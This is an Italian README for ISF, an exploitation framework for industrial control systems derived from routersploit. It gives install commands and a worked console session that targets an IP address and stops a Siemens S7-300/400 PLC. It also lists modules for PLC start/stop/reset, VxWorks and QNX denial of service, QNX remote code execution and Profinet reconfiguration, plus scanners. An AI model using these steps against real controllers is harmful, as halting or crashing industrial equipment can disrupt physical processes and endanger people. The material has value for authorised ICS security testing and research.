
ISF (Industrial Control System Exploitation Framework), un framework di exploitation basato su Python.
ISF (Industrial Exploitation Framework) è un framework di sfruttamento basato su Python, simile al framework metasploit.
ISF è basato sul progetto open source routersploit.
Leggi questo in altre lingue: English, 简体中文,
L'uso di ISF per attaccare obiettivi senza previo consenso reciproco è illegale. È responsabilità dell'utente finale rispettare tutte le leggi locali, statali e federali applicabili. Gli sviluppatori non si assumono alcuna responsabilità e non sono responsabili per qualsiasi uso improprio o danno causato da questo programma.
| Nome | Percorso | Descrizione |
|---|---|---|
| modbus_tcp_client | icssploit/clients/modbus_tcp_client.py | Client Modbus-TCP |
| wdb2_client | icssploit/clients/wdb2_client.py | Client WdbRPC Versione 2 (Vxworks 6.x) |
| s7_client | icssploit/clients/s7_client.py | Client s7comm (PLC S7 300/400) |
Questi protocolli possono essere utilizzati in altri framework di fuzzing come Kitty o per creare il proprio client.
git clone https://github.com/dark-lbp/isf/
cd isf
python isf.py
root@kali:~/Desktop/temp/isf# python isf.py
_____ _____ _____ _____ _____ _ ____ _____ _______
|_ _/ ____|/ ____/ ____| __ \| | / __ \_ _|__ __|
| || | | (___| (___ | |__) | | | | | || | | |
| || | \___ \\___ \| ___/| | | | | || | | |
_| || |____ ____) |___) | | | |___| |__| || |_ | |
|_____\_____|_____/_____/|_| |______\____/_____| |_|
ICS Exploitation Framework
Nota : ICSSPOLIT è un fork di routersploit su
https://github.com/reverse-shell/routersploit
Team di sviluppo : wenzhe zhu (dark-lbp)
Versione : 0.1.0
Exploits: 2 Scanner: 0 Credenziali: 13
Exploit ICS:
PLC: 2 Switch ICS: 0
Software: 0
isf >
isf > use exploits/plcs/
exploits/plcs/siemens/ exploits/plcs/vxworks/
isf > use exploits/plcs/siemens/s7_300_400_plc_control
exploits/plcs/siemens/s7_300_400_plc_control
isf > use exploits/plcs/siemens/s7_300_400_plc_control
isf (S7-300/400 PLC Control) >
È possibile usare il tasto Tab per il completamento.
isf (S7-300/400 PLC Control) > show options
Opzioni del target:
Nome Impostazioni correnti Descrizione
---- ---------------- -----------
target Indirizzo del target es. 192.168.1.1
port 102 Porta del target
Opzioni del modulo:
Nome Impostazioni correnti Descrizione
---- ---------------- -----------
slot 2 Numero slot CPU.
command 1 Comando 0: avvia plc, 1: arresta plc.
isf (S7-300/400 PLC Control) >
isf (S7-300/400 PLC Control) > set target 192.168.70.210
[+] {'target': '192.168.70.210'}
isf (S7-300/400 PLC Control) > run
[*] Running module...
[+] Target is alive
[*] Sending packet to target
[*] Stop plc
isf (S7-300/400 PLC Control) >
isf (S7-300/400 PLC Control) > show info
Nome:
S7-300/400 PLC Control
Descrizione:
Use S7comm command to start/stop plc.
Dispositivi:
- PLC Siemens S7-300 e S7-400 (controllori logici programmabili)
Autori:
- wenzhe zhu <jtrkid[at]gmail.com>
Riferimenti:
isf (S7-300/400 PLC Control) >
| Nome | Percorso | Descrizione |
|---|
| s7_300_400_plc_control | exploits/plcs/siemens/s7_300_400_plc_control.py | Avvio/arresto PLC S7-300/400 |
| s7_1200_plc_control | exploits/plcs/siemens/s7_1200_plc_control.py | Avvio/arresto/reset PLC S7-1200 |
| vxworks_rpc_dos | exploits/plcs/vxworks/vxworks_rpc_dos.py | DoS remoto RPC Vxworks (CVE-2015-7599) |
| quantum_140_plc_control | exploits/plcs/schneider/quantum_140_plc_control.py | Avvio/arresto PLC Schneider Quantum serie 140 |
| crash_qnx_inetd_tcp_service | exploits/plcs/qnx/crash_qnx_inetd_tcp_service.py | DoS del servizio TCP Inetd di QNX |
| qconn_remote_exec | exploits/plcs/qnx/qconn_remote_exec.py | Esecuzione remota di codice qconn QNX |
| profinet_set_ip | exploits/plcs/siemens/profinet_set_ip.py | Configurazione IP dispositivo Profinet DCP |
| Nome | Percorso | Descrizione |
|---|
| profinet_dcp_scan | scanners/profinet_dcp_scan.py | Scanner Profinet DCP |
| vxworks_6_scan | scanners/vxworks_6_scan.py | Scanner Vxworks 6.x |
| s7comm_scan | scanners/s7comm_scan.py | Scanner S7comm |
| enip_scan | scanners/enip_scan.py | Scanner EthernetIP |
| Nome | Percorso | Descrizione |
|---|
| pn_dcp | icssploit/protocols/pn_dcp | Protocollo Profinet DCP |
| modbus_tcp | icssploit/protocols/modbus_tcp | Protocollo Modbus TCP |
| wdbrpc2 | icssploit/protocols/wdbrpc2 | Protocollo WDB RPC Versione 2 |
| s7comm | icssploit/protocols/s7comm.py | Protocollo S7comm |